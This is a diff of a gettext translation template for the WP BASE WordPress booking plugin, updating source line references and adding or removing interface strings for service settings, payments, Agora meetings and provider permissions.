+#: includes/admin/services-list.php:1187 includes/custom-texts.php:1321
 msgid "Stores"
 msgstr ""
 
-#: includes/admin/services-list.php:1189
-#: includes/freeons/categories/categories.php:71
+#: includes/admin/services-list.php:1190
+#: includes/freeons/categories/categories.php:70
 #: includes/freeons/extended-service-features.php:307
 msgid "Categories"
 msgstr ""
 
-#: includes/admin/services-list.php:1194
+#: includes/admin/services-list.php:1195
 msgid ""
 "You can enter a value to increase number of time slots that can booked for "
 "any given time. If not set, or set lower than providers of the service, "
 "capacity is determined by the number of providers giving this service."
 msgstr ""
 
-#: includes/admin/services-list.php:1201 includes/custom-texts.php:1194
+#: includes/admin/services-list.php:1202 includes/custom-texts.php:1200
 msgid "Padding Before"
 msgstr ""
 
-#: includes/admin/services-list.php:1203
+#: includes/admin/services-list.php:1204
 msgid "Time needed to pass before another booking can be made for the service."
 msgstr ""
 
-#: includes/admin/services-list.php:1207 includes/custom-texts.php:1193
+#: includes/admin/services-list.php:1208 includes/custom-texts.php:1199
 msgid "Padding After"
 msgstr ""
 
-#: includes/admin/services-list.php:1209
+#: includes/admin/services-list.php:1210
 msgid "Time needed to pass after another booking can be made for the service."
 msgstr ""
 
-#: includes/admin/services-list.php:1215
+#: includes/admin/services-list.php:1216
 msgid "Price for the service per time slot per person."
 msgstr ""
 
-#: includes/admin/services-list.php:1219
+#: includes/admin/services-list.php:1220
 #, php-format
 msgid "Security Deposit (%s)"
 msgstr ""
 
-#: includes/admin/services-list.php:1222
+#: includes/admin/services-list.php:1223
 msgid ""
 "Refundable security deposit. Not to be confused with advance payment/down "
 "payment which is deducted from the price."
 msgstr ""
 
-#: includes/admin/services-list.php:1227
+#: includes/admin/services-list.php:1228
 #, php-format
 msgid "Fee (%s)"
 msgstr ""
 
-#: includes/admin/services-list.php:1230
+#: includes/admin/services-list.php:1231
 msgid "booking"
 msgstr ""
 
-#: includes/admin/services-list.php:1231 includes/custom-texts.php:1023
+#: includes/admin/services-list.php:1232 includes/custom-texts.php:1030
 msgid "hour"
 msgstr ""
 
-#: includes/admin/services-list.php:1232 includes/custom-texts.php:954
+#: includes/admin/services-list.php:1233 includes/custom-texts.php:961
 msgid "day"
 msgstr ""
 
-#: includes/admin/services-list.php:1233 includes/custom-texts.php:1361
+#: includes/admin/services-list.php:1234 includes/custom-texts.php:1367
 msgid "week"
 msgstr ""
 
-#: includes/admin/services-list.php:1234 includes/custom-texts.php:1088
+#: includes/admin/services-list.php:1235 includes/custom-texts.php:1095
 msgid "month"
 msgstr ""
 
-#: includes/admin/services-list.php:1236
+#: includes/admin/services-list.php:1237
 msgid ""
 "Fee and unit for basis to calculate fee. For example, $10/hour setting will "
 "result in $5 fee for a booking of 30 minutes."
 msgstr ""
 
-#: includes/admin/services-list.php:1242
+#: includes/admin/services-list.php:1243
 msgid ""
 "If selected, booking views on this post will be fixed with this service. "
 "Also description and feature image will be taken from the post."
 msgstr ""
 
-#: includes/admin/services-list.php:1248 includes/custom-texts.php:1077
+#: includes/admin/services-list.php:1249 includes/custom-texts.php:1083
 msgid "Online Meeting"
 msgstr ""
 
-#: includes/admin/services-list.php:1253
+#: includes/admin/services-list.php:1254
 msgid ""
 "Booking for this service will create an online meeting session in the active "
 "meeting platform (Google Meet, Zoom, Jitsi, Agora)."
 msgstr ""
 
-#: includes/admin/services-list.php:1307
+#: includes/admin/services-list.php:1308
 msgid "Cannot Update"
 msgstr ""
 
-#: includes/admin/services-list.php:1408 includes/admin/setup.php:91
+#: includes/admin/services-list.php:1409 includes/admin/setup.php:91
 #: includes/functions.internal.php:1506
 msgid "All day"
 msgstr ""
 
-#: includes/admin/services-list.php:1497
+#: includes/admin/services-list.php:1498
 msgid "NEW SERVICE"
 msgstr ""
 
-#: includes/admin/services-list.php:1517
+#: includes/admin/services-list.php:1518
 msgid ""
 "Background color in Schedules. Text color will be auto picked based on this "
 "color."
 msgstr ""
 
-#: includes/admin/services-list.php:1520 includes/custom-texts.php:1028
+#: includes/admin/services-list.php:1521 includes/custom-texts.php:1035
 msgid "Internal"
 msgstr ""
 
-#: includes/admin/services-list.php:1523
+#: includes/admin/services-list.php:1524
 msgid ""
 "Similar to WordPress private posts. Internal services will not be displayed "
 "in service selection menu element on the front end."
 msgstr ""
 
-#: includes/admin/services-list.php:1543
+#: includes/admin/services-list.php:1544
 msgid ""
 "Readonly value showing providers giving this service. To edit, use Providers "
 "page instead."
 msgstr ""
 
-#: includes/admin/services-list.php:1551
+#: includes/admin/services-list.php:1552
 msgid ""
 "Makes service independent of provider availability, e.g. for events, room "
 "and rental bookings."
 msgstr ""
 
-#: includes/admin/services-list.php:1560
+#: includes/admin/services-list.php:1561
 msgid "Optional description text for the service."
 msgstr ""
 
-#: includes/admin/services-list.php:1618
+#: includes/admin/services-list.php:1621
 msgid ""
 "Optional Main Image for the service which will be used in service selection "
 "slider."
 msgstr ""
 
-#: includes/admin/services-list.php:1679
+#: includes/admin/services-list.php:1682
 msgid "Service must be assigned to a store"
 msgstr ""
 
-#: includes/admin/services-list.php:1683
+#: includes/admin/services-list.php:1686
 msgid "You must select a store that you are assigned"
 msgstr ""
 
-#: includes/admin/services-list.php:1745
+#: includes/admin/services-list.php:1748
 #, php-format
 msgid "Service %d"
 msgstr ""
 
-#: includes/admin/services-list.php:1850
+#: includes/admin/services-list.php:1859
 msgid "New service successfully saved."
 msgstr ""
 
@@ -9500,7 +10282,7 @@
 msgstr ""
 
 #: includes/admin/setup.php:700 includes/admin/setup.php:795
-#: includes/admin/setup.php:1002 includes/custom-texts.php:870
+#: includes/admin/setup.php:1002 includes/custom-texts.php:879
 #: includes/wh.php:76
 msgid "Working Hours"
 msgstr ""
@@ -9525,8 +10307,8 @@
 msgid "Adjust Basic Settings"
 msgstr ""
 
-#: includes/admin/setup.php:736 includes/constant-data.php:506
-#: includes/constant-data.php:645
+#: includes/admin/setup.php:736 includes/constant-data.php:517
+#: includes/constant-data.php:663
 msgid "Time Base"
 msgstr ""
 
@@ -9545,7 +10327,7 @@
 msgid "How many hours in advance can clients make a booking?"
 msgstr ""
 
-#: includes/admin/setup.php:756 includes/constant-data.php:339
+#: includes/admin/setup.php:756 includes/constant-data.php:350
 msgid "Booking Upper Limit"
 msgstr ""
 
@@ -9553,7 +10335,7 @@
 msgid "How far in advance clients can make a booking?"
 msgstr ""
 
-#: includes/admin/setup.php:768 includes/constant-data.php:358
+#: includes/admin/setup.php:768 includes/constant-data.php:369
 msgid "Auto Confirm"
 msgstr ""
 
@@ -9565,7 +10347,7 @@
 msgid "Set Working Hours"
 msgstr ""
 
-#: includes/admin/setup.php:785 includes/constant-data.php:382
+#: includes/admin/setup.php:785 includes/constant-data.php:393
 msgid "Table Start"
 msgstr ""
 
@@ -9579,7 +10361,7 @@
 "depends on Time Base set at the first step"
 msgstr ""
 
-#: includes/admin/setup.php:804 includes/constant-data.php:382
+#: includes/admin/setup.php:804 includes/constant-data.php:393
 msgid "Table End"
 msgstr ""
 
@@ -9674,7 +10456,7 @@
 "You can see a comparison of the two cases on our demo website %s."
 msgstr ""
 
-#: includes/admin/setup.php:922 includes/constant-data.php:381
+#: includes/admin/setup.php:922 includes/constant-data.php:392
 msgid "Calendar Design"
 msgstr ""
 
@@ -9834,10 +10616,6 @@
 msgid "Most Used"
 msgstr ""
 
-#: includes/admin/tinymce.php:229
-msgid "Other"
-msgstr ""
-
 #: includes/admin/tinymce.php:240
 msgid ""
 "From the above pulldown menu, select shortcode you want to use, fill in the "
@@ -9880,7 +10658,7 @@
 msgstr ""
 
 #: includes/admin/toolbar.php:130 includes/admin/transactions.php:60
-#: includes/admin/transactions.php:61 includes/custom-texts.php:863
+#: includes/admin/transactions.php:61 includes/custom-texts.php:872
 msgid "Payment History"
 msgstr ""
 
@@ -9896,7 +10674,7 @@
 msgid "Global"
 msgstr ""
 
-#: includes/admin/toolbar.php:166 includes/user.php:1021
+#: includes/admin/toolbar.php:166 includes/user.php:1023
 msgid "Your Bookings"
 msgstr ""
 
@@ -9912,7 +10690,7 @@
 msgid "List of Bookings"
 msgstr ""
 
-#: includes/admin/toolbar.php:228 includes/custom-texts.php:846
+#: includes/admin/toolbar.php:228 includes/custom-texts.php:855
 #: includes/freeons/front-end-booking-management.php:204
 #: includes/freeons/front-end-booking-management.php:209
 msgid "Manage Bookings"
@@ -9939,86 +10717,90 @@
 msgid "Payment date (31/12 &rarr; 01/01)"
 msgstr ""
 
-#: includes/admin/transactions.php:795
+#: includes/admin/transactions.php:797
 msgid "No payments have been found."
 msgstr ""
 
-#: includes/admin/transactions.php:820 includes/admin/transactions.php:849
+#: includes/admin/transactions.php:822 includes/admin/transactions.php:851
 msgid "Click to edit manual payment"
 msgstr ""
 
-#: includes/admin/transactions.php:827 includes/admin/transactions.php:860
+#: includes/admin/transactions.php:829 includes/admin/transactions.php:862
 msgid "Payments coming from payment processors cannot be edited"
 msgstr ""
 
-#: includes/admin/transactions.php:852
+#: includes/admin/transactions.php:854
 msgid "Manual Payments gateway is not active"
 msgstr ""
 
-#: includes/admin/transactions.php:860
+#: includes/admin/transactions.php:862
 msgid "Cannot be edited"
 msgstr ""
 
-#: includes/assets.php:272 includes/custom-texts.php:950
+#: includes/assets.php:241 includes/custom-texts.php:957
 msgid "Daily"
 msgstr ""
 
-#: includes/assets.php:347
+#: includes/assets.php:316
 msgid "Are you sure to clear the log file?"
 msgstr ""
 
-#: includes/assets.php:348
+#: includes/assets.php:317
 msgid "You are about to delete at least one record. Are you sure to do this?"
 msgstr ""
 
-#: includes/assets.php:349
+#: includes/assets.php:318
+msgid "Do you want to pay commission to the selected records?"
+msgstr ""
+
+#: includes/assets.php:319
 msgid ""
 "WARNING!! This action will clear all existing database records (bookings, "
 "transactions, locations, services, service providers, working hours). Are "
 "you sure to do this?"
 msgstr ""
 
-#: includes/assets.php:350
+#: includes/assets.php:320
 msgid "Are you REALLY SURE TO DELETE the database records?"
 msgstr ""
 
-#: includes/assets.php:351
+#: includes/assets.php:321
 msgid ""
 "This action will restore all WP BASE settings to the defaults. Database "
 "records (bookings, transactions, locations, services, service providers, "
 "working hours) will not be changed. Are you sure to do this?"
 msgstr ""
 
-#: includes/assets.php:352
+#: includes/assets.php:322
 msgid ""
 "Creating of test appointments may take several minutes. Do you want to "
 "continue?"
 msgstr ""
 
-#: includes/assets.php:353
+#: includes/assets.php:323
 msgid ""
 "You are about to change status of an approved vendor as pending or declined. "
 "This action will suspend the vendor."
 msgstr ""
 
-#: includes/assets.php:355
+#: includes/assets.php:325
 msgid "Booking #"
 msgstr ""
 
-#: includes/assets.php:356
+#: includes/assets.php:326
 msgid "You did not save the changes you have made. Are you sure?"
 msgstr ""
 
-#: includes/assets.php:358
+#: includes/assets.php:328
 #: includes/freeons/manual-payments/manual-payments.php:80
 msgid "Add Manual Payment"
 msgstr ""
 
-#: includes/assets.php:359
+#: includes/assets.php:329
 msgid "Record #"
 msgstr ""
 
-#: includes/assets.php:361
+#: includes/assets.php:331
 msgid ""
 "WP BASE SERVICE TABLE records will be cleared! Existing WP BASE SERVICE "
 "PROVIDER TABLE records will be replaced with Appointments+ values. Non-"
@@ -10026,7 +10808,7 @@
 "sure to do this?"
 msgstr ""
 
-#: includes/assets.php:362
+#: includes/assets.php:332
 msgid ""
 "WARNING!! This action will clear all existing database records (booked "
 "appointments, transactions, locations, services, service providers, working "
@@ -10034,15 +10816,15 @@
 "this?"
 msgstr ""
 
-#: includes/assets.php:363
+#: includes/assets.php:333
 msgid "Please select at least one column"
 msgstr ""
 
-#: includes/assets.php:364
+#: includes/assets.php:334
 msgid "First select file to be imported"
 msgstr ""
 
-#: includes/assets.php:365
+#: includes/assets.php:335
 msgid ""
 "This action will replace all existing settings with those inside the "
 "imported file. Database records (bookings, transactions, locations, "
@@ -10050,7 +10832,7 @@
 "sure to do this?"
 msgstr ""
 
-#: includes/assets.php:366
+#: includes/assets.php:336
 msgid ""
 "WP BASE requires your one time consent to access to your calendar account in "
 "order to read and write events offline (even when you are not available). "
@@ -10059,19 +10841,19 @@
 "this page."
 msgstr ""
 
-#: includes/assets.php:371
+#: includes/assets.php:341
 msgid "Less"
 msgstr ""
 
-#: includes/assets.php:372
+#: includes/assets.php:342
 msgid "Log file cleared..."
 msgstr ""
 
-#: includes/assets.php:374
+#: includes/assets.php:344
 msgid "More"
 msgstr ""
 
-#: includes/assets.php:378
+#: includes/assets.php:348
 msgid ""
 "As an attachment to your message, your current settings and plugin related "
 "database tables, plus data of the posts and users who are related to the "
@@ -10080,35 +10862,35 @@
 "proceed."
 msgstr ""
 
-#: includes/assets.php:379
+#: includes/assets.php:349
 msgid ""
 "This record is currently being edited by another user. If you take over, his "
 "work may be lost. Are you sure to take over?"
 msgstr ""
 
-#: includes/assets.php:380
+#: includes/assets.php:350
 msgid ""
 "You have selected a timezone other than server timezone. Are you sure to "
 "save working hours using this timezone?"
 msgstr ""
 
-#: includes/assets.php:383
+#: includes/assets.php:353
 msgid "Copied - Click to release"
 msgstr ""
 
-#: includes/assets.php:384 includes/wh.php:1012
+#: includes/assets.php:354 includes/wh.php:1012
 msgid "Copy to clipboard"
 msgstr ""
 
-#: includes/assets.php:385
+#: includes/assets.php:355
 msgid "Paste data of WHOSE"
 msgstr ""
 
-#: includes/assets.php:386
+#: includes/assets.php:356
 msgid "Undo"
 msgstr ""
 
-#: includes/assets.php:387
+#: includes/assets.php:357
 msgid "copied table"
 msgstr ""
 
@@ -10197,7 +10979,7 @@
 "Provider with user ID #%s is not correct. Check if the user is a provider."
 msgstr ""
 
-#: includes/constant-data.php:258
+#: includes/constant-data.php:269
 msgid ""
 "We collect information about you during the checkout process on our website. "
 "This information may include, but is not limited to, your name, email "
@@ -10222,7 +11004,7 @@
 "will be used to populate the checkout for future orders."
 msgstr ""
 
-#: includes/constant-data.php:272
+#: includes/constant-data.php:283
 msgid ""
 "Client Name: CLIENT\n"
 "Client email: EMAIL\n"
@@ -10231,37 +11013,48 @@
 "Service Provider Name: WORKER"
 msgstr ""
 
-#: includes/constant-data.php:280
+#: includes/constant-data.php:291
 msgid ""
 "Service Name: SERVICE\n"
 "Service Provider Name: WORKER"
 msgstr ""
 
-#: includes/constant-data.php:305
+#: includes/constant-data.php:316
+msgid "Account Page"
+msgstr ""
+
+#: includes/constant-data.php:316
+msgid ""
+"The page where <code>[app_account]</code> resides. Normally WP BASE "
+"automatically locates this page and sets this setting, however in some cases "
+"you may need to set it yourself."
+msgstr ""
+
+#: includes/constant-data.php:317
 msgid "Additional css Rules (Front end)"
 msgstr ""
 
-#: includes/constant-data.php:305
+#: includes/constant-data.php:317
 msgid ""
 "You can add css rules to customize styling. These will be added to the front "
 "end appointment page(s) only."
 msgstr ""
 
-#: includes/constant-data.php:306
+#: includes/constant-data.php:318
 msgid "Additional css Rules (Admin side)"
 msgstr ""
 
-#: includes/constant-data.php:306
+#: includes/constant-data.php:318
 msgid ""
 "You can add css rules to customize styling. These will be added to the admin "
 "side only, e.g. to user profile page."
 msgstr ""
 
-#: includes/constant-data.php:307
+#: includes/constant-data.php:319
 msgid "Additional Time Base (minutes)"
 msgstr ""
 
-#: includes/constant-data.php:307
+#: includes/constant-data.php:319
 msgid ""
 "If selectable time bases do not fit your business, you can add a new one, "
 "e.g. 90. Note: 1) After you save this additional time base, you must select "
@@ -10270,119 +11063,111 @@
 "allowed and it will be rounded to 25."
 msgstr ""
 
-#: includes/constant-data.php:308
+#: includes/constant-data.php:320
 msgid "Add Security Deposit to Total Amount"
 msgstr ""
 
-#: includes/constant-data.php:308
+#: includes/constant-data.php:320
 msgid ""
 "By default (setting No), security deposits are not collected using payment "
 "gateways due to difficulties in refunding. If you select Yes, deposit will "
 "be added to the amount that the client will pay through the payment gateway."
 msgstr ""
 
-#: includes/constant-data.php:309
+#: includes/constant-data.php:321
 msgid "Adjust Font Color"
 msgstr ""
 
-#: includes/constant-data.php:309
+#: includes/constant-data.php:321
 msgid ""
 "Automatically set calendar font color as white or black according to "
 "selected background color."
 msgstr ""
 
-#: includes/constant-data.php:310
+#: includes/constant-data.php:322
 msgid "Collapse Record after Successful Update"
 msgstr ""
 
-#: includes/constant-data.php:310
+#: includes/constant-data.php:322
 msgid ""
 "If this option is selected as Yes, successfully updated record will be "
 "automatically collapsed in admin bookings page. If selected as No, clicking "
 "Cancel button is required for the same process."
 msgstr ""
 
-#: includes/constant-data.php:311
+#: includes/constant-data.php:323
 msgid "Admin email(s)"
 msgstr ""
 
-#: includes/constant-data.php:311
+#: includes/constant-data.php:323
 msgid ""
 "You can enter a special admin email here. Multiple emails separated with "
 "comma is possible. If left empty, WordPress admin email setting will be used."
 msgstr ""
 
-#: includes/constant-data.php:312
+#: includes/constant-data.php:324
 msgid "Admin phone"
 msgstr ""
 
-#: includes/constant-data.php:312
+#: includes/constant-data.php:324
 msgid "Enter admin phone that will receive notification messages."
 msgstr ""
 
-#: includes/constant-data.php:313
+#: includes/constant-data.php:325
 msgid "Admin Theme"
 msgstr ""
 
-#: includes/constant-data.php:313
+#: includes/constant-data.php:325
 msgid ""
 "jQuery UI theme that will be used in calendar, table, datepicker, dialog, "
 "multi select, tooltip and button elements on the Admin side."
 msgstr ""
 
-#: includes/constant-data.php:314
+#: includes/constant-data.php:326
 msgid "Add WP BASE links to Admin Toolbar"
 msgstr ""
 
-#: includes/constant-data.php:314
+#: includes/constant-data.php:326
 msgid ""
 "If this option is selected as Yes, WP BASE menu items and pages with WP BASE "
 "shortcodes can be selected from admin toolbar."
 msgstr ""
 
-#: includes/constant-data.php:315
+#: includes/constant-data.php:327
 msgid "App ID"
 msgstr ""
 
-#: includes/constant-data.php:315
+#: includes/constant-data.php:327
 #, php-format
 msgid "Get this value from your %s."
 msgstr ""
 
-#: includes/constant-data.php:315 includes/constant-data.php:316
+#: includes/constant-data.php:327 includes/constant-data.php:328
 msgid "Agora account"
 msgstr ""
 
-#: includes/constant-data.php:316
+#: includes/constant-data.php:328
 msgid "App Certificate"
 msgstr ""
 
-#: includes/constant-data.php:316
+#: includes/constant-data.php:328
 #, php-format
 msgid "Primary certificate from your %s."
 msgstr ""
 
-#: includes/constant-data.php:317
+#: includes/constant-data.php:329
 msgid "Enable Agora"
 msgstr ""
 
-#: includes/constant-data.php:317
+#: includes/constant-data.php:329
 msgid "Enables integration with Agora Online Meetings."
 msgstr ""
 
-#: includes/constant-data.php:318
-msgid "Layout"
-msgstr ""
-
-#: includes/constant-data.php:318
-msgid "Layout of the participant screens"
-msgstr ""
-
-#: includes/constant-data.php:319
+#: includes/constant-data.php:330
 msgid "Agora Subject"
 msgstr ""
 
-#: includes/constant-data.php:319 includes/constant-data.php:494
+#: includes/constant-data.php:330 includes/constant-data.php:505
 #, php-format
 msgid ""
 "Meeting subject (title). <abbr title=\"%s\">Booking placeholders</abbr> can "
@@ -10390,11 +11175,11 @@
 "their real values."
 msgstr ""
 
-#: includes/constant-data.php:320
+#: includes/constant-data.php:331
 msgid "Allow Client Cancel Own Bookings"
 msgstr ""
 
-#: includes/constant-data.php:320
+#: includes/constant-data.php:331
 msgid ""
 "Whether to allow clients cancel their bookings using the link in "
 "confirmation and reminder emails or using Booking List table or for logged "
@@ -10402,67 +11187,63 @@
 "will also need to add CANCEL placeholder to the email message content."
 msgstr ""
 
-#: includes/constant-data.php:321
+#: includes/constant-data.php:332
 msgid "Allow Clients Select Own Timezone"
 msgstr ""
 
-#: includes/constant-data.php:321
+#: includes/constant-data.php:332
 msgid ""
 "If selected as \"Yes\", clients can manually select their timezone in their "
 "profile page. This setting overrides automatic dedection."
 msgstr ""
 
-#: includes/constant-data.php:322
+#: includes/constant-data.php:333
 msgid "Allow Client Confirm Bookings by Email"
 msgstr ""
 
-#: includes/constant-data.php:322
+#: includes/constant-data.php:333
 msgid ""
 "Whether to allow clients confirm their bookings using the link in any email "
 "they receive. This link is added by using CONFIRM placeholder in email "
 "bodies."
 msgstr ""
 
-#: includes/constant-data.php:323
+#: includes/constant-data.php:334
 msgid "Allow Client Edit Own Bookings"
 msgstr ""
 
-#: includes/constant-data.php:323
+#: includes/constant-data.php:334
 msgid ""
-"Whether you let client edit own appointments on the front end. Client can "
-"activate editing popup form by one of the following methods: 1) Clicking "
-"Edit button in WordPress user page, 2) Clicking Edit button in List Of "
-"Bookings, 4) Clicking Edit button in Bookings tab of Account page, 4) "
-"Clicking the link in emails. This link is created by inserting EDIT "
-"placeholder to the email body."
+"Whether you let client edit own bookings on List of Bookings or Schedules "
+"tab of Account page."
 msgstr ""
 
-#: includes/constant-data.php:324
+#: includes/constant-data.php:335
 msgid "Allow Late Booking"
 msgstr ""
 
-#: includes/constant-data.php:324
+#: includes/constant-data.php:335
 msgid ""
 "Setting this as Yes will allow booking of a time slot when current time is "
 "within selected time slot, i.e. appointment start time has passed, but it "
 "has not ended yet."
 msgstr ""
 
-#: includes/constant-data.php:325
+#: includes/constant-data.php:336
 msgid "Allow Registration at Checkout"
 msgstr ""
 
-#: includes/constant-data.php:325
+#: includes/constant-data.php:336
 msgid ""
 "Whether add registration fields at checkout. \"Auto\" follows WordPress "
 "\"Anyone can register\" setting."
 msgstr ""
 
-#: includes/constant-data.php:326
+#: includes/constant-data.php:337
 msgid "Set Own Seasonal Schedules"
 msgstr ""
 
-#: includes/constant-data.php:326
+#: includes/constant-data.php:337
 msgid ""
 "Requires Seasonal Working Hours Addon. Whether you let service providers to "
 "set their annual schedules using their navigation tab in BuddyPress "
@@ -10470,33 +11251,33 @@
 "are also allowed to add new custom schedules, but not to delete them."
 msgstr ""
 
-#: includes/constant-data.php:327
+#: includes/constant-data.php:338
 msgid "Cancel Own Bookings"
 msgstr ""
 
-#: includes/constant-data.php:327
+#: includes/constant-data.php:338
 msgid ""
 "Whether to allow providers cancel their appointments using Booking List "
 "table or using check boxes in their profile pages. Cancellation lead time is "
 "still valid."
 msgstr ""
 
-#: includes/constant-data.php:328
+#: includes/constant-data.php:339
 msgid "Confirm Own Bookings"
 msgstr ""
 
-#: includes/constant-data.php:328
+#: includes/constant-data.php:339
 msgid ""
 "Whether you let service providers to confirm pending appointments assigned "
 "to them using their navigation tab in BuddyPress (Requires BuddyPress addon) "
 "or their profile page in regular WordPress."
 msgstr ""
 
-#: includes/constant-data.php:329
+#: includes/constant-data.php:340
 msgid "Create/View/Edit Services"
 msgstr ""
 
-#: includes/constant-data.php:329
+#: includes/constant-data.php:340
 msgid ""
 "Whether allow providers create and edit own services, view other's services "
 "on their account pages. Provider will be automatically assigned to services "
@@ -10504,11 +11285,11 @@
 "services."
 msgstr ""
 
-#: includes/constant-data.php:330
+#: includes/constant-data.php:341
 msgid "Delete Own Services"
 msgstr ""
 
-#: includes/constant-data.php:330
+#: includes/constant-data.php:341
 msgid ""
 "If you select yes, providers can delete any service created by themselves "
 "using their profile pages. If you select No, deletion by service provider is "
@@ -10517,63 +11298,63 @@
 "appointments)."
 msgstr ""
 
-#: includes/constant-data.php:331
+#: includes/constant-data.php:342
 msgid "Select Services to Work for"
 msgstr ""
 
-#: includes/constant-data.php:331
+#: includes/constant-data.php:342
 msgid ""
 "If you select yes, providers can select which services they are working for "
 "using their profile pages. In any case, they have to pick at least one "
 "service."
 msgstr ""
 
-#: includes/constant-data.php:332
+#: includes/constant-data.php:343
 msgid "Edit Own Bookings"
 msgstr ""
 
-#: includes/constant-data.php:332
+#: includes/constant-data.php:343
 msgid ""
 "Whether you let service providers to manage own bookings. With the last "
 "option, they can also edit bookings on the admin side, provided that they "
 "are allowed admin access."
 msgstr ""
 
-#: includes/constant-data.php:333
+#: includes/constant-data.php:344
 msgid "Register Users"
 msgstr ""
 
-#: includes/constant-data.php:333
+#: includes/constant-data.php:344
 msgid ""
 "Whether you let service providers to register users at Schedules or Manage "
 "Bookings."
 msgstr ""
 
-#: includes/constant-data.php:334
+#: includes/constant-data.php:345
 msgid "Allow Service Providers Select Own Timezone"
 msgstr ""
 
-#: includes/constant-data.php:334
+#: includes/constant-data.php:345
 msgid ""
 "If selected as \"Yes\", service providers can manually select their timezone "
 "in their profile page. This setting overrides automatic dedection."
 msgstr ""
 
-#: includes/constant-data.php:335
+#: includes/constant-data.php:346
 msgid "View Payments"
 msgstr ""
 
-#: includes/constant-data.php:335
+#: includes/constant-data.php:346
 msgid ""
 "Whether you let service providers view payments for bookings that they were "
 "booked for."
 msgstr ""
 
-#: includes/constant-data.php:336
+#: includes/constant-data.php:347
 msgid "Set Own Working Hours"
 msgstr ""
 
-#: includes/constant-data.php:336
+#: includes/constant-data.php:347
 msgid ""
 "Whether you let service providers to set their working hours and holidays "
 "using their navigation tab in BuddyPress (Requires BuddyPress addon) or "
@@ -10581,11 +11362,11 @@
 "of self created services."
 msgstr ""
 
-#: includes/constant-data.php:337
+#: includes/constant-data.php:348
 msgid "Apply Only One Coupon per Booking"
 msgstr ""
 
-#: includes/constant-data.php:337
+#: includes/constant-data.php:348
 msgid ""
 "Valid only when Shopping Cart is active. By default (setting \"No\"), coupon "
 "discounts are applied to each applicable booking in the shopping cart. If "
@@ -10594,25 +11375,25 @@
 "applying maximum net discount will be used."
 msgstr ""
 
-#: includes/constant-data.php:338
+#: includes/constant-data.php:349
 msgid "Apply Coupons also to Extras"
 msgstr ""
 
-#: includes/constant-data.php:338
+#: includes/constant-data.php:349
 msgid "If selected as yes, coupon discounts will also be applied to extras."
 msgstr ""
 
-#: includes/constant-data.php:339
+#: includes/constant-data.php:350
 msgid ""
 "Maximum number of days or months from current day that a client can make a "
 "booking."
 msgstr ""
 
-#: includes/constant-data.php:341
+#: includes/constant-data.php:352
 msgid "Booking Lower Limit - Lead Time (hours)"
 msgstr ""
 
-#: includes/constant-data.php:341
+#: includes/constant-data.php:352
 msgid ""
 "This setting will block time slots to prevent them be booked too close to "
 "the appointment time. For example, if you need 2 days to evaluate and accept "
@@ -10620,11 +11401,11 @@
 "can be made if start time has not passed)"
 msgstr ""
 
-#: includes/constant-data.php:343
+#: includes/constant-data.php:354
 msgid "Max Number of Time Slots"
 msgstr ""
 
-#: includes/constant-data.php:343
+#: includes/constant-data.php:354
 msgid ""
 "Only valid with Shopping Cart, Recurring Appointments, Service Bundles and "
 "WooCommerce addons. Maximum number of selectable time slots for a single "
@@ -10632,26 +11413,26 @@
 "exceeding this limit. Enter 0 for no limitation."
 msgstr ""
 
-#: includes/constant-data.php:344
+#: includes/constant-data.php:355
 msgid "Min Number of Time Slots"
 msgstr ""
 
-#: includes/constant-data.php:344
+#: includes/constant-data.php:355
 msgid ""
 "Only valid with Shopping Cart, Recurring Appointments, Service Bundles and "
 "WooCommerce addons. Minimum accepted number of time slots for a single "
 "checkout. Different than maximum limit, check is commenced at checkout stage."
 msgstr ""
 
-#: includes/constant-data.php:355
+#: includes/constant-data.php:366
 msgid "Whether to enable terms and conditions checkbox on confirmation form."
 msgstr ""
 
-#: includes/constant-data.php:357
+#: includes/constant-data.php:368
 msgid "Assignment Method of Provider"
 msgstr ""
 
-#: includes/constant-data.php:357
+#: includes/constant-data.php:368
 msgid ""
 "How service provider is assigned to the service if not selected by client. "
 "If selected as First Available or Random, first available or a random "
@@ -10660,7 +11441,7 @@
 "provider among those giving that service will be picked)."
 msgstr ""
 
-#: includes/constant-data.php:358
+#: includes/constant-data.php:369
 #, php-format
 msgid ""
 "Setting this as Yes will automatically confirm all booking submissions if "
@@ -10670,15 +11451,15 @@
 "determine booking status."
 msgstr ""
 
-#: includes/constant-data.php:358
+#: includes/constant-data.php:369
 msgid "Payment required at booking instance"
 msgstr ""
 
-#: includes/constant-data.php:359
+#: includes/constant-data.php:370
 msgid "Auto Delete Expired Appointments"
 msgstr ""
 
-#: includes/constant-data.php:359
+#: includes/constant-data.php:370
 msgid ""
 "As default (setting as \"No\"), expired appointments (those did not realise "
 "because of cancellation or no confirmation) are marked as \"removed\" and "
@@ -10686,22 +11467,22 @@
 "as Yes, such appointments will be automatically deleted."
 msgstr ""
 
-#: includes/constant-data.php:360
+#: includes/constant-data.php:371
 msgid "Auto Delete Lead Time (Hours)"
 msgstr ""
 
-#: includes/constant-data.php:360
+#: includes/constant-data.php:371
 msgid ""
 "Waiting time for expired appointments to be permanently deleted after their "
 "expiration. If you set 0, they will be directly deleted before they are "
 "marked as removed."
 msgstr ""
 
-#: includes/constant-data.php:361
+#: includes/constant-data.php:372
 msgid "Auto Register Client"
 msgstr ""
 
-#: includes/constant-data.php:361
+#: includes/constant-data.php:372
 msgid ""
 "When registration fields at checkout are not provided, whether register "
 "client as WP user upon submission of booking. Only effective if client "
@@ -10709,155 +11490,155 @@
 "case client is asked to login first)."
 msgstr ""
 
-#: includes/constant-data.php:362
+#: includes/constant-data.php:373
 msgid "Notify User about Auto Register"
 msgstr ""
 
-#: includes/constant-data.php:362
+#: includes/constant-data.php:373
 msgid ""
 "Whether auto registered client will get an email informing their login "
 "credentials. Admin will always get a notification."
 msgstr ""
 
-#: includes/constant-data.php:363
+#: includes/constant-data.php:374
 msgid "Auto Register Auto Login"
 msgstr ""
 
-#: includes/constant-data.php:363
+#: includes/constant-data.php:374
 msgid ""
 "Whether auto registered client will be automatically logged in. This is "
 "always assumed \"Yes\" with WooCommerce integration."
 msgstr ""
 
-#: includes/constant-data.php:364
+#: includes/constant-data.php:375
 msgid "Country Business Based in"
 msgstr ""
 
-#: includes/constant-data.php:365
+#: includes/constant-data.php:376
 msgid "Post Types for Bio Pages"
 msgstr ""
 
-#: includes/constant-data.php:365
+#: includes/constant-data.php:376
 msgid ""
 "Post types that can be used for service provider bio pages. Default: \"page\""
 msgstr ""
 
-#: includes/constant-data.php:366
+#: includes/constant-data.php:377
 msgid "Also Assign Existing Members"
 msgstr ""
 
-#: includes/constant-data.php:366
+#: includes/constant-data.php:377
 msgid ""
 "Whether existing members who are in the selected member type will be "
